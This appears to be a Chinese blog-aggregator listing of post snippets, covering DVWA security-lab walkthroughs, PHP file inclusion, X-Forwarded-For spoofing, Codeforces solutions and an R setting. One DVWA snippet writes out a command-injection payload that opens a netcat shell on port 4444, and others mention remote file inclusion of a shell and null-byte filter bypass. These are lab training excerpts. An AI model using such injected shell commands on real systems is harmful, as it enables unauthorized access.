File Inclusion File Inclusion，意思是文件包含（漏洞），是指当服务器开启allow_url_include选项时，就可以通过php的某些特性函数（include()，require()和include_once()，require_once()）利用url去动态包含文件， ...
分类：
其他好文 时间：
2020-02-09 00:27:58
阅读次数：
68
网页上的提示是请从本地访问，所以可以利用header请求头中的X-Forwarded-For 打开burpsuite抓包，加上：X-Forwarded-For: 127.0.0.1 ...
分类：
Web程序 时间：
2020-02-08 20:54:18
阅读次数：
105
题目链接：https://codeforces.com/contest/733 A Grasshopper And the String 题意：有个虫子，要跳过一个长度为 $n$ 的字符串（从 $0$ 跳到 $n+1$ ），只能停在元音字母处。求最短的跳跃距离。 题解：求前后相邻两个停留位置的差的最 ...
分类：
其他好文 时间：
2020-02-08 00:10:49
阅读次数：
91
DVWA简介 DVWA（Damn Vulnerable Web Application）是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用，旨在为安全专业人员测试自己的专业技能和工具提供合法的环境，帮助web开发者更好的理解web应用安全防范的过程。 DVWA共有十个模块，分别是Brute ...
分类：
其他好文 时间：
2020-02-07 22:27:24
阅读次数：
90
QAQ： 其中C，D，E题的思路来自 https://www.bilibili.com/video/av83609526?p=5 A. Deadline 题意： 给出一个式子对于给出的d，求当x是整数时的最小解。 思路： 简单数学题，这个式子变形一下就是我们中学学的对号函数，但要注意下向上取整和整数 ...
分类：
其他好文 时间：
2020-02-07 20:26:26
阅读次数：
57
``` 查看官方文档 http://cran.r-project.org/bin/macosx/RMacOSX-FAQ.html#Internationalization-of-the-R_002eapp 在terminal中设置R语言的default 为en_US.UTF-8即可： default... ...
分类：
编程语言 时间：
2020-02-06 20:09:32
阅读次数：
111
Modulo Equality 关键：a数组中的数变换后与b数组中的数唯一对应 AC_Code 1 #include <bits/stdc++.h> 2 using namespace std; 3 typedef long long ll; 4 const int maxn=2010; 5 con ...
分类：
其他好文 时间：
2020-02-06 16:49:17
阅读次数：
69
开门见山 · 目录遍历 替换成 2. 文件包含可以使用 绝对路径 也可以 3. 可以使用文件包含来包含一个网址，或者是一个shell 远程文件 空字符绕过字符过滤 %00 ...
分类：
其他好文 时间：
2020-02-06 16:48:30
阅读次数：
122
开门见山 ·Low ·Medium ·High · 命令执行监听端口 ;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe nc 192.168.31.100 4444 · 反弹shell 拷贝shell文件 启动kali的apache服 ...
分类：
其他好文 时间：
2020-02-06 16:14:05
阅读次数：
88
"E2. String Coloring (hard version)" 首先我们要明确一点，最多只会出现26种颜色，因为当下字母 如果在后面 出现过，那么在 i 这个位置的最佳颜色选择即为先前确定的颜色。所以我们可以使用状态压缩来记录状态。 ...
分类：
其他好文 时间：
2020-02-05 20:01:25
阅读次数：
87
